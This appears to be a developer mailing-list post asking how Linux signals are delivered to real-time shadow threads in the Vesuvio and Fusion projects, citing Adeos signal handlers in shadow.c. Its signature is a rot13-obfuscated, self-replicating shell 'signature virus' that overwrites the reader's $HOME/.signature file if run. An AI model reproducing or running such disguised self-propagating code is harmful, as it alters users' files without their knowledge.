Hi Philippe! How does the delivery of linux signals work with fusion thread?
In Vesuvio, shadow.c registers a ADEOS_SIGNAL_PROCESS handler which blocks all signals but TERM, KILL, QUIT, INT. These signals are later processed by the ADEOS_KICK_PROCESS handler. This handler unblocks its realtime counterpart. Why? What happens then with the signal and the shadow process? If I understand the code all other signals are dopped, i.e. lost. In Fusion, there isn't a ADEOS_SIGNAL_PROCESS handler. Does that mean that all signals are delivered the by the linux-kernel? Does this include a migration from the realtime to linux? If, where? thanks in advance - marc -- #!/bin/sh set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \ shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\ echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh
